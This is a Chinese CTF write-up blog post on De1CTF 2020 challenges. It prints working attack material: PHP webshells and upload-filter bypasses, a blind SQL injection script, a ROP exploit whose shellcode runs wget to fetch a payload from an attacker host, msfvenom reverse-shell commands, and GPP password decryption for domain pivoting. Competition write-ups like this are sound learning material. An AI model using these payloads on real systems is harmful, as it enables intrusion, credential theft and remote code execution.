本文最后更新于:星期二, 六月 16日 2020, 2:33 下午

这次的题目质量真的蛮高的,Web囊括的漏洞类型也多,从SQL到内网渗透一应俱全(Java俺还不会…),impakho大佬出的MC系列题目也是很有意思。队友们tql,我比赛的时候只能疯狂摸鱼…

更新中

Web

Checkin

welcome to 2020De1ctf

http://129.204.21.115

文件上传题目,进来就是一个文件上传界面糊你脸上

随便写一个最简单的一句话 <?php @eval($_POST['a']) ?>,文件名diaossama.php,上去发现 filename error,估计是过滤了php后缀名,那拼一个图片马

然后发现有文件内容waf

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

这个waf用短标签就可以绕过

<?= @eval($_GET['diaos']);

成功上传。

但是服务器不会将.png作为php文件解析,所以需要看看能否绕过后缀名或者增加解析。

后面发现可以上传.htaccess,并且上传并不会修改文件名,那么我们可以给.png文件增加一个解析,并且由于php被过滤,可以使用\来绕过,文件内容如下

AddTpye application/x-httpd-p\
hp .png

上传后访问我们的shell,执行system('cat /flag');即可

Flag:De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

(从这个Flag看起来传htaccess并不是预期解233,等官方WriteUp出来看看预期解是啥

据说有很多外国选手都是预期解做的,做完直呼 Fake checkin!(233

mixture

我相信你是一个“真”的web手

i believe you are a “true” web Ctfer

http://134.175.185.244

new silicon node:

http://49.51.251.99

(这是一道 sql + pwn,不愧是“真”的web手

进来是一个登录框

尝试admin admin,弹窗nononon,admin password not right

一开始我以为会有个注册的地方,后来发现原来只要账号不是admin你怎么输都可以进入下一个页面emm

主界面有四个选项卡

search和admin界面需要admin账户才可以使用,那么目标就应该是拿到admin账户的密码,查看member.php的源代码发现了一行注释

可能是order by注入?于是在url后面加上参数orderby=desc,出现报错No~~hacker!

初步判定是orderby注入了,用bp fuzz一下关键字,看看屏蔽了哪一些关键字或者符号

被屏蔽的关键字包括

desc | if | regexp | union | updatexml | sleep | || | extractvalue | rand | length

延时函数里只剩一个 benchmark 没有被ban,但是尝试了很多数字和字符,发现页面的回显并没有变化,也不会出现错误,所以猜想我们输入的字句也许不是直接拼接在order by之后

后来靠队友 @kk 坚持不懈地测试,发现以下payload会使回显改变

orderby=limit 0,1
orderby=limit 0,2

然后顺藤摸瓜摸到了 GoogleCTF2019的 gLooto 题目:https://xz.aliyun.com/t/5503

题目从各方面来说都挺相似的,在使用如下payload后我获得了一些泄露的数据库信息

orderby=limit+1+procedure+analyse(1,1)

从这里我们知道了数据库的名称 test、表名 users 以及一部分字段名,并且根据这个payload有回显,我可以猜测后端的语句是:

select id, username, money from users order by id {$_GET['orderby']}

然后参考上面的文章,他最后使用的payload如下

orderby=is not null, rand(ascii(mid(database(),1,1))=103)

这个语句会让服务端生成一列随机的数字,然后根据这个数字大小排列数据表返回到主页。而且rand()可以接收参数,利用rand()函数接收的种子不同(True/False),生成的数字序列也会不同(本质上是一个随机数发生器),那么数据的排列顺序也会不同,以此来判断rand()中包含的条件是否为真。本质上还是一种布尔注入。

在我们当前这道题目尝试一下:

orderby=is+not+null,1
orderby=is+not+null,2

发现这两个payload的回显有差异,那我们的目标就是找到一个类似if的条件判断式,用于生成 1 和 2 ,这自然而然就想到了case...when...,其用法如下

case (条件或列名) when (结果1) then (返回值1) when (结果2) then (返回值2) else (其他返回值) end

在本机做个测试

那这道题目就可以尝试以下payload:

orderby=is+not+null,(case+when+(ascii(mid(database(),1,1))=115)+then+1+else+2+end)

但是远程测试并没有出现返回值的差别。

我在本地测试之后发现,这一payload返回的1或者2是以字符串的形式返回的,并不会以数字类型解释,也就不会选取到相应的列

所以这时就要考虑把数字直接换成列名,更改后的payload如下

orderby=is+not+null,(case+when+(ascii(mid(database(),1,1))=116)+then+`id`+else+`money`+end)

回显成功出现差异,接下来就是写脚本爆字段了。

(脚本写的比较丑emm

import requests
from lxml import etree
import string


def login():
    sess = requests.Session()
    data = {"username":"diaossama", "password":"12345"}
    sess.post('http://134.175.185.244/index.php', data=data)
    return sess
    
def brute_columns(sess):
    """
    res = sess.get('http://134.175.185.244/member.php')
    dom = etree.HTML(res.text)
    username = dom.xpath('/html/body/div/table/tbody/tr[1]/td[2]')[0].text
    """
    # true:'admin' or false:'tom'
    # 爆列名
    start = 0
    columns = ''
    while True:
        
        for i in range(64,123):
            # print('[*] try: length={}'.format(start))
            if i == 64:
                payload = 'is not null,(case when (ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=\'member\'),{},1))=44) then `id` else `money` end)'.format(start)
            else:
                payload = 'is not null,(case when (ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=\'member\'),{},1))={}) then `id` else `money` end)'.format(start, i)
            data = {"orderby":payload}
            res = sess.get('http://134.175.185.244/member.php', params=data)
            #print(res.text)
            dom = etree.HTML(res.text)
            username = dom.xpath('/html/body/div/table/tbody/tr[1]/td[2]')[0].text
            if username == 'admin':
                columns += chr(i)
                print('[+] columns:{}'.format(columns))
                break
        start += 1
        
    #payload = 'is not null,(case when (ascii(mid(database(),1,1))=116) then `id` else `money` end)'


def brute_table(sess):
    # 爆表名
    start = 0
    tables = ''
    while True:
        flag = False
        for i in range(64,123):
            # print('[*] try: length={}'.format(start))
            if i == 64:
                payload = 'is not null,(case when (ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=44) then `id` else `money` end)'.format(start)
            else:
                payload = 'is not null,(case when (ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}) then `id` else `money` end)'.format(start, i)
            data = {"orderby":payload}
            res = sess.get('http://134.175.185.244/member.php', params=data)
            #print(res.text)
            dom = etree.HTML(res.text)
            username = dom.xpath('/html/body/div/table/tbody/tr[1]/td[2]')[0].text
            if username == 'admin':
                flag = True
                tables += chr(i)
                print('[+] tables:{}'.format(tables))
                break
        #if flag:
        #    start += 1
        #else:
        #    break
        start += 1


def brute_password(sess):
    # 爆密码
    start = 0
    passwd = ''
    while True:
        for i in string.ascii_lowercase+string.ascii_uppercase+string.digits:
            # print('[*] try: length={}'.format(start))
            if i == 64:
                payload = 'is not null,(case when (ascii(mid((select password from member where id=1),{},1))=44) then `id` else `money` end)'.format(start)
            else:
                payload = 'is not null,(case when (ascii(mid((select password from member where id=1),{},1))={}) then `id` else `money` end)'.format(start, ord(i))
            data = {"orderby":payload}
            res = sess.get('http://134.175.185.244/member.php', params=data)
            #print(res.text)
            dom = etree.HTML(res.text)
            username = dom.xpath('/html/body/div/table/tbody/tr[1]/td[2]')[0].text
            if username == 'admin':
                flag = True
                passwd += i
                print('[+] password:{}'.format(passwd))
                break
        #if flag:
        #    start += 1
        #else:
        #    break
        start += 1

if __name__ == "__main__":
    sess = login()
    #brute_tables(sess)
    #brute_columns(sess)
    brute_password(sess)

爆出的结果是数据库 test 中存在两个表:users, member

users 表中有三个字段:id,username,money

member 表中有三个字段:id,username,password

爆出的 admin 的密码MD5为:18a960a3a0b3554b314ebe77fe545c85

在线解密一下

然后拿这个密码登陆一下,search界面是一个任意文件读,admin界面是一个phpinfo,我当时读了一下/flag发现没有之后是没有什么思路的,队内@kk @cjM00n两个大哥刷题还是刷的多啊。

首先读一下 select.php

可以看到里面有一个没见过的函数Minclude()猜测是自己写的一个拓展,然后去phpinfo里搜一下Minclude,确实有这个拓展,那就找一下拓展的目录在哪里,搜一下extension_dir

这里贴一个@cjM00n的down文件的脚本

import requests

sess = requests.Session()
# url = "http://49.51.251.99/"
url = "http://134.175.185.244/"
# auto renew session
def remote_login():
    data = {
        "username": "admin",
        'password': "goodlucktoyou",
        'submit': "submit"
    }
    sess.post(url, data=data)

# connect remote
def remote(filename):
    remote_login()
    data = {"submit":"submit","search":filename}
    response = sess.post(url + "select.php", data=data).content
    index = response.rfind("<br>".encode())
    text = response[index + 4:]
    print(text)
    download(filename, text)
    return text

# download file
def download(filename, text):
    filename = filename[filename.rfind("/") + 1:]
    print("[+] write %s" %(filename))
    f = open(filename, "wb")
    f.write(text)
    f.close()

if __name__ == "__main__":
    # local("/readflag")
    remote("/usr/local/lib/php/extensions/no-debug-non-zts-20170718/Minclude.so")

下下来之后后面俺就不懂了233,我是个虚假的web手。靠队内pwn爹写exp,我就屁颠屁颠等着拿shell就行,这里贴一下pwn爹的poc

import requests
from pwn import *
sess = requests.Session()
url = "http://49.51.251.99/"
# auto renew session
def remote_login():
    data = {
        "username": "admin",
        'password': "goodlucktoyou",
        'submit': "submit"
    }
    sess.post(url, data=data)


# connect remote
def remote1(filename):
    remote_login()
    data = {"submit":"submit","search":filename}
    response = sess.post(url + "select.php", data=data).content
    # index = response.rfind("<br>".encode())
    text = response
    print(text)
    # download(filename, text)




# download file
def download(filename, text):
    filename = filename[filename.rfind("/") + 1:]
    print("[+] write %s" %(filename))
    f = open(filename, "wb")
    f.write(text)
    f.close()


# test in local docker
def local(filename):
    url = "http://ip:8085/"
    data = {
        "search": filename
    }
    resp = requests.post(url, data=data).content
    print(resp)
    # return resp
context.arch="amd64"
libc = None
stack = None


def genpayload():
    global DEB
    # srv
    if DEB:
        libc = 0x00007f77c0d7c000
        stack = 0x00007ffc81aa4000
    else:
        libc = 0x7f2fb414d000
        stack = 0x7ffc338fa000


    system = 0x00449C0+libc
    pdi=0x0000000000023a5f+libc
    psi=0x000000000002440e+libc
    pdx=0x0000000000106725+libc
    pcx=0x00000000000e898e+libc
    pbx=0x000000000002d0d9+libc
    print(hex(pbx))
    xa=0x0000000000098385+libc
    one = libc+0x4484f
    mprotect = libc+0x0F4200
    ret = 0x000000000002235f+libc
    # 0x0000000000106724 : pop r10 ; ret
    p10 = 0x0000000000106724+libc
    # 0x00000000000351d4 : add rdi, r10 ; jmp rdi
    jdi = 0x00000000000351d4 + libc
    # 0x0000000000106723 : pop rdx ; pop r10 ; ret
    pdxp=0x0000000000106723+libc


    # 0x000000000003a2b2 : mov rdi, r9 ; call rdx
    pr = 0x000000000003a2b2+libc
    getsp = 0x00000000000a35c6+libc # : lea ecx, dword ptr [rax + 1] ; lea r9, qword ptr [rsp + 0x28] ; call rbx


    payload = 'a'.ljust(0x88,'\x00') #padding


    payload += flat(pdi,stack)
    payload += flat(psi,0x21000)
    payload += flat(pdx,7)
    payload += p64(mprotect)


    payload += flat(pbx,pbx)
    payload += p64(getsp)
    payload += flat(pdxp,jdi)
    payload += p64(0xdeadbeef)
    payload += flat(pdxp,jdi)
    payload += p64(0x30) #r10
    payload += p64(pr)
    payload += '\x90'*0x28
    # shellcode place
    code64="""
sub rsp,0x200
xor rax,rax
xor 	rsi,	rsi			
push rsi


call here
.string "/bin/sh"
.byte 0
here:
pop rdi


call here2
.string "/tmp/verver"
.byte 0
here2:
pop rdx


call here3
.string "/usr/bin/wget"
.byte 0
here3:
pop r8


call here4
.string "http://ip:2333/"
.byte 0
here4:
pop r9


call here6
.string "-O"
.byte 0
here6:
pop rsi


call here5
.string "/tmp/verver"
.byte 0
here5:
pop rbx


push 0
push rdx
push rdi


push rsp
pop rsi


xor rdx,rdx
mov al,0x3b
syscall
cmp rax, 0
jnz ex
loop:
nop
jmp loop
ex:
int 3
"""
    payload += asm(code64)
    return payload


DEB = 0
if __name__ == "__main__":
    if DEB:
        local(genpayload())
    else:
        remote1(genpayload())

shell拿到之后执行根目录/readflag,这里有个处理/readflag这一类型文件的链接(因为一般这种文件需要交互,解出一个问题之类的才给你flag)https://github.com/ZeddYu/ReadFlag

Hard_Pentest_1

一开始进题目就是一个PHP代码审计糊在脸上

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

总结一下这部分代码的功能:

  1. 提供文件上传
  2. 文件大小不能大于2048Bytes
  3. 文件后缀名不能为php
  4. 文件内容要不能被正则表达式/[a-z0-9;^`&|]/is匹配到,即不能有字母、数字以及某些符号出现

文件后缀名很好解决,大小写一下就绕过去了,重点在这个正则里,一看就让人想到了p神的那一篇无字母数字shell

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

但是这里由于分号不能使用,就不能直接抄p神的shell了,队友翻了一下php手册发现可以不用分隔符;实现行结束,代码段的结束标记?>也包含了行结束。

这里要注意的是php7.2中,eavl和assert不能动态拼接,队友@cjM00n先写了一个file_put_content(),再利用这个函数去写马,即先构造一个:

<?= ($_GET[_])($_GET[__],$_GET[___]);
// _ 传入 file_put_contents
// __ 传入 filename.php
// ___ 传入 文件内容,一般为一句话木马

生成shell的py脚本如下

res = []
# get a and _
prefix ='''
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__='_';
'''.split()
res.extend(prefix)
# get _GET
GET = "GET"
for i in GET:
    for time in range(ord(i) - ord("A")):
        res.append("$_++;")
    res.append("$__.=$_;")
    res.append("$_=$___;")
# ($_GET[_])($_GET[__],$_GET[___]);
res.append("(${$__}[_])(${$__}[__],${$__}[___]);")
with open("shell.php", "w") as f:
    for i in res:
        f.write(f"<?= {i.strip()[:-1]} ?>")
        f.write("\n")
    f.close()

然后就是把生成的shell先传上去,然后紧接着传一个大马,这里贴一下@cjM00n的脚本

import requests
import re
session = requests.Session()
def upload():
    paramsPost = {"submit":"submit"}
    paramsMultipart = [('file', ('cj.pHp', "<?= \x24_=[] ?>\r\n<?= \x24_=@\"\x24_\" ?>\r\n<?= \x24_=\x24_['!'=='@'] ?>\r\n<?= \x24___=\x24_ ?>\r\n<?= \x24__='_' ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24__.=\x24_ ?>\r\n<?= \x24_=\x24___ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24__.=\x24_ ?>\r\n<?= \x24_=\x24___ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24__.=\x24_ ?>\r\n<?= \x24_=\x24___ ?>\r\n<?= (\x24{\x24__}[_])(\x24{\x24__}[__],\x24{\x24__}[___]) ?>\r\n\r\n\r\n", 'application/octet-stream'))]
    response = session.post("http://47.113.219.76/index.php", data=paramsPost, files=paramsMultipart)
    path = re.findall("uploads/.+pHp", response.text)
    return path[0]
def getshell(path):
    paramsGet = {"__":"diaossama.php","___":"<?php eval(\x24_POST['a']);?>","_":"file_put_contents"}
    url = "http://47.113.219.76/" + path
    response = session.get(url, params=paramsGet)
    index = len(path) - path.rfind("/") - 1
    print("[+] shell:")
    print(url[:-index] +"diaossama.php")
    print("[+] pass: a")

if __name__ == "__main__":
    path = upload()
    getshell(path)

运行上面的脚本生成一个马,然后就可以用蚁剑连接了

用蚁剑连上之后发现是个win主机,蚁剑的命令行经常出问题,而且据队友@cjM00n说,蚁剑还会出现看不到目录的情况,所以考虑用msf做一个马上传,然后用msf来接这个shell

首先生成一个shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=9001 -f exe >shell.exe

然后执行以下命令来启动一个Meterpreter Handler来接收Shell

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 9001
run -j

然后用蚁剑的虚拟终端上传shell并且运行,就可以在msf中拿到这个shell

然后用以下命令切换到这个shell

sessions 1

执行以下命令切换到CMD环境

shell

因为这台机器在域里,所以看一看域内有哪些用户

net user /domain

可以看到有两个用户,其中有一个HintZip_Pass(当时还没看懂这个名字的深意,直到后面拿到了一个压缩包)

同时可以看到域控的域名是 dc.De1CTF2020.lab,那接下来就看看域控有没有共享文件夹

net view \\dc.De1CTF2020.lab

看到有个Hint共享文件夹,挂载上来看看

net use g: \\dc.De1CTF2020.lab\Hint
g:
dir

发现里面有一个flag1_and_flag2hint.zip的压缩包,下载下来看看

exit  // 退出cmd
cd G:
download flag1_and_flag2hint.zip

压缩包有密码,自然而然想到了前面那个Hint_Pass用户,那下一步的目标就是获取这个用户的密码

之前看域控主机的共享目录下还有一个SYSVOL文件夹,这个文件夹是用来存储公共文件服务器副本的,里面包括了登录脚本,组策略数据,以及其他域控所需要的域数据,我们挂载上来看看

可以看到有一个Groups文件夹,可能会有GPP漏洞,跟进去看一下发现里面确实有 Groups.xml 文件,拿到里面的cpassword,就是HintZip_Pass用户的密码哈希,使用AES 256进行加密,但密钥公开在了微软的官网,所以可以直接解密拿到该用户的密码 https://www.cnblogs.com/zpchcbd/p/11703687.html

这里贴一个解密脚本https://github.com/lucasko/gpp-encrypt-decrypt

解压后拿到Flag和Pentest_2的Hint

Hard_Pentest_2

渗透经验过少,比赛完了看看其他队伍的wp复现一下题目,就当积累经验了

De1CTF Hard_Pentest1&2 Writeup By W&M

Hard_Pentest && Easy protocol题解

然后发现msf传上去的AdFind怎么都执行不了emm,开头就卡死了鸭,我tcl,再看看吧

Misc

这次Misc就做了impakho大佬的MC系列题目的签到题,出题人tql,真就全栈大佬呗,先贴一个impakho大佬的WriteUp:https://github.com/impakho/de1ctf-mc_challs

不得不说这套MC题目出的又有意思又有干货,爱了(结果寒假开了一个寒假的服,一点卵用没有233

mc_joinin

赶紧加入游戏吧。
我们在等你。

Hurry up and join in the game.
We’re waiting for you.

进网页看了一下,意思是开放了一个mc服务器Minecraft20.20,页面信息说服务端是基于1.12的,于是用Nsiso启动器摸了个1.12下来,看了一下服务器是这样的

mc_server

连接进服务器的话会出现Incompatible version报错,拒绝接入。结合题目名称想一下应该就是想办法通过服务端的版本检测,进入服务器就能拿到Flag

WireShark抓包看一下交互信息

确实看不出来啥东西,这时候有点尬,因为不知道这两个包究竟交互了啥信息

还是队友 @SJoshua 见多识广一些,找到了MC Protocol的Wiki:https://wiki.vg/Protocol ,在HandShake部分就把包的结构说的很清楚了

mc_format

mc_handshake

这里可以看到Protocol number在报文中的是从0x02开始的,数据类型是一个VarInt,关于VarInt这个数据结构类型在Wiki中也可以找到 https://wiki.vg/Protocol#VarInt_and_VarLong

其中提到了VarInt的写入算法,因为它是一个可变数据类型,写入算法如下:

public static void writeVarInt(int value) {
    do {
        byte temp = (byte)(value & 0b01111111);
        // Note: >>> means that the sign bit is shifted with the rest of the number rather than being left alone
        value >>>= 7;
        if (value != 0) {
            temp |= 0b10000000;
        }
        writeByte(temp);
    } while (value != 0);
}

我把它修改了一下搞了一个python版本(这里要感谢@kk,我的Java是真滴菜…

def varint(value):
    res = 0
    mask = 127
    tim = 0
    while(value != 0):
        tim += 1
        temp = value & mask
        value >>= 7
        if value != 0:
            temp |= (2**7)
        res <<= 8
        res += temp
    return (res, tim)

并且这里要注意的一点是,整个包的数据类型都是网络传输常见的大端序,就只有VarInt除外,它是用小端序表示的。

那接下来就是写一个脚本爆破一下版本号,看看哪个版本号可以通过服务端检测

(脚本有点丑…

import socket
import struct


def varint(value):
    res = 0
    mask = 127
    tim = 0
    while(value != 0):
        tim += 1
        temp = value & mask
        value >>= 7
        if value != 0:
            temp |= (2**7)
        res <<= 8
        res += temp
    return (res, tim)

def brute_pvn(start, end):
    for i in range(start, end):
        print("[*] try {}:".format(i))
        sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sk.connect(('134.175.230.10', 25565))
        pkt_len = int('0x15', 16)
        pkt_id = 0
        pkt_ver = varint(i)
        pkt_ver = (pkt_ver[0]).to_bytes(length=pkt_ver[1], byteorder='big')
        msg1 = b'\x15\x00'+pkt_ver+b'\x0e\x31\x33\x34\x2e\x31\x37\x35\x2e\x32\x33\x30\x2e\x31\x30\x63\xdd\x02'
        sk.send(msg1)
        msg2 = b'\x0b\x00\x09\x44\x69\x61\x6f\x73\x53\x61\x6d\x61'
        sk.send(msg2)
        res = sk.recv(1024)
        res = sk.recv(1024)
        print("[+] Received: {}".format(res))
        sk.close()

def get_result(pvn):
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #sk.connect(('134.175.230.10', 25565))
    sk.connect(('222.85.25.41', 25565))
    pkt_len = int('0x15', 16)
    pkt_id = 0
    pkt_ver = varint(997)
    pkt_ver = (pkt_ver[0]).to_bytes(length=pkt_ver[1], byteorder='big')
    msg1 = b'\x15\x00'+pkt_ver+b'\x0e\x31\x33\x34\x2e\x31\x37\x35\x2e\x32\x33\x30\x2e\x31\x30\x63\xdd\x02'
    sk.send(msg1)
    msg2 = b'\x0b\x00\x09\x44\x69\x61\x6f\x73\x53\x61\x6d\x61'
    sk.send(msg2)
    while True:
        res = sk.recv(1024)
        if res == b'':
            break
        print("[+] Received: {}".format(res))
    sk.close()

if __name__ == "__main__":
    # brute_pvn(1, 715)
    # brute_pvn(715, 3000)
    # Result: PVN = 997
    get_result(997)

经过爆破发现当版本号为997时可以通过服务端的版本检测,那就用997这个版本号跟服务端交互获取后续信息

mc_pvn

发现里面有一段有趣的信息

"text":"\\n\\nHIDE FLAG ONE\\n\\n          imgur.com/a/ZOrErVM          \\n\\n"

进网址看一下是一张图片,用stegsolved跑一下发现藏了东西

solved

Flag:De1CTF{MC2020_Pr0to3l_Is_Funny-ISn’t _It?}